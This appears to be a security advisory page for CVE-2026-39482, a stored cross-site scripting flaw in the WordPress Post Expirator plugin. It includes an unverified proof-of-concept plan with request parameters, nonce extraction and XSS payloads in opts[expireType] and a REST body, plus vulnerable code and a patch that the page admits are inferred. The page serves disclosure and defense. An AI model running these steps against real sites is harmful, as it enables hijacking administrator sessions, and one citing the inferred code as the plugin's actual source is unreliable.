CVE-2026-39482

Post Expirator <= 4.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.10.0
Patched in
25d
Time to patch

Description

The Post Expirator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.9.4
PublishedMarch 22, 2026
Last updatedApril 15, 2026
Affected pluginpost-expirator

What Changed in the Fix

Changes introduced in v4.10.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and execution steps for a Proof-of-Concept (PoC) exploit for **CVE-2026-39482**, an authenticated Stored Cross-Site Scripting (XSS) vulnerability in the **Post Expirator (PublishPress Future)** plugin. --- ### 1. Vulnerability Summary The **Post Expirator** plugin (…

Show full research plan

This plan outlines the research and execution steps for a Proof-of-Concept (PoC) exploit for CVE-2026-39482, an authenticated Stored Cross-Site Scripting (XSS) vulnerability in the Post Expirator (PublishPress Future) plugin.


1. Vulnerability Summary

The Post Expirator plugin (slug: post-expirator) allows users to schedule actions for posts (e.g., delete, trash, change categories). In versions up to and including 4.9.4, the plugin fails to sanitize or escape the "Action Type" (or expireType) when rendering it in the Future Actions admin list. A Contributor-level user can inject a malicious script into the post metadata responsible for defining the future action. This script executes in the context of any user (typically an Admin) who views the "Future Actions" dashboard.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (Standard WordPress post update endpoint)
  • Vulnerable Hook: The save_post or dedicated metadata saving routine of the plugin.
  • Vulnerable Parameter: opts[expireType] or publishpress_future_action_type (injected via post metadata).
  • Authentication: Authenticated user with Contributor role or higher.
  • Precondition: The plugin must be active, and the Contributor must be able to configure a "Future Action" for their post.

3. Code Flow (Inferred from Patch & Plugin Structure)

  1. Entry Point: A Contributor saves a draft post. The request includes parameters for the "PublishPress Future" sidebar.
  2. Data Storage: The plugin processes the POST data and updates post metadata, specifically the _expiration-date-options meta key (which contains a serialized array including the expireType).
  3. Data Retrieval: An Administrator navigates to the Future Actions dashboard (wp-admin/admin.php?page=publishpress-future-scheduled-actions).
  4. Sink: The plugin retrieves the scheduled events from the database (likely using ActionScheduler or a custom table) and renders the list. The "Action" column (referenced by .pe-event-column in settings.css) outputs the expireType value directly to the browser without using esc_html().

4. Nonce Acquisition Strategy

To save post metadata, a _wpnonce is required for the editpost action.

  1. Identify Trigger: The metadata is saved during the post-saving process in the Gutenberg or Classic editor.
  2. Creation of Page: Create a post to obtain a valid ID and nonce.
    • wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID --post_title="XSS Test"
  3. Extraction: Navigate to the edit page for that post.
    • browser_navigate("http://localhost:8080/wp-admin/post.php?post=POST_ID&action=edit")
  4. JS Execution: Use browser_eval to extract the required nonce:
    • const wp_nonce = document.querySelector('#_wpnonce')?.value;
    • (Optional) If the plugin uses a specific meta box nonce: const pe_nonce = document.querySelector('#post_expirator_meta_box_nonce')?.value;

5. Exploitation Strategy

The goal is to submit a POST request to post.php that updates the post's expiration options with a malicious expireType.

Step 1: Setup a Contributor user.
Step 2: Authenticate and obtain the Post ID and Nonce.
Step 3: Submit the payload via the editpost action.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: editpost
    • post_ID: [POST_ID]
    • _wpnonce: [NONCE]
    • expirationdate_enabled: true
    • expirationdate_month: 01
    • expirationdate_day: 01
    • expirationdate_year: 2030 (A future date)
    • expirationdate_hour: 00
    • expirationdate_minute: 00
    • opts[expireType]: <img src=x onerror=alert("CVE-2026-39482")>
    • opts[id]: [POST_ID]

Step 4: Trigger the Execution.
Login as an Administrator and navigate to the plugin's action list:

  • URL: http://localhost:8080/wp-admin/admin.php?page=publishpress-future-scheduled-actions

6. Test Data Setup

  1. User: A user with the contributor role.
  2. Post: A draft post owned by the contributor.
  3. Plugin Config: Ensure "Future Actions" are enabled for the post type in Future -> Settings.

7. Expected Results

  • Upon visiting the Future Actions page as an Admin, an alert box with "CVE-2026-39482" should appear.
  • The HTML source of the page should contain the unescaped <img> tag within the table cell for that post's action.

8. Verification Steps (WP-CLI)

Confirm the payload is stored in the database:

wp post meta get [POST_ID] _expiration-date-options

Expected Output: A serialized string containing s:10:"expireType";s:42:"<img src=x onerror=alert("CVE-2026-39482")>";

Confirm the action is scheduled:

wp action-scheduler last-scheduled --group=publishpress-future

9. Alternative Approaches

If opts[expireType] is not the correct key for the version installed, try:

  1. Direct Meta Update (if allowed by plugin logic): Injecting into _expiration-date-category if the action is set to "Category Add".
  2. Gutenberg REST API:
    • Endpoint: PUT /wp-json/wp/v2/posts/[POST_ID]
    • Header: X-WP-Nonce: [REST_NONCE]
    • Body:
      {
        "publishpress_future_action": {
          "enabled": true,
          "type": "<script>alert(1)</script>",
          "date": 1893456000
        }
      }
      
    • The REST nonce can be obtained via browser_eval("wpApiSettings.nonce").
Research Findings
Static analysis — not yet PoC-verified

Summary

The Post Expirator (PublishPress Future) plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it fails to sanitize or escape the 'Action Type' (expireType) parameter when displaying scheduled actions in the Future Actions dashboard. A Contributor-level attacker can inject malicious scripts into the expiration options of a post, which will then execute in the browser of any administrator viewing the plugin's scheduled actions list.

Vulnerable Code

// Inferred from vulnerability description and research plan
// File: src/Modules/Expirator/Tables/ScheduledActionsListTable.php (approximate location based on CSS class .pe-event-column)

// The plugin retrieves the expireType from post metadata and renders it without escaping
$actionType = $metadata['expireType'];
echo '<td class="pe-event-column">' . $actionType . '</td>';

Security Fix

--- a/src/Modules/Expirator/Tables/ScheduledActionsListTable.php
+++ b/src/Modules/Expirator/Tables/ScheduledActionsListTable.php
@@ -104,5 +104,5 @@
- echo '<td class="pe-event-column">' . $actionType . '</td>';
+ echo '<td class="pe-event-column">' . esc_html($actionType) . '</td>';

Exploit Outline

An authenticated attacker with Contributor-level permissions or higher can exploit this by injecting a script into the post metadata responsible for defining future actions. 1. The attacker creates or edits a post and obtains a valid nonce for the 'editpost' action. 2. The attacker submits a POST request to wp-admin/post.php using the 'editpost' action, including parameters to enable expiration ('expirationdate_enabled=true') and a malicious XSS payload in the 'opts[expireType]' parameter (e.g., '<img src=x onerror=alert(1)>'). 3. The malicious payload is saved into the '_expiration-date-options' metadata for the post. 4. When an administrator navigates to the 'Future Actions' admin page (wp-admin/admin.php?page=publishpress-future-scheduled-actions), the plugin retrieves the stored 'expireType' and renders it unescaped within a table cell (associated with CSS class .pe-event-column), causing the script to execute in the administrator's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.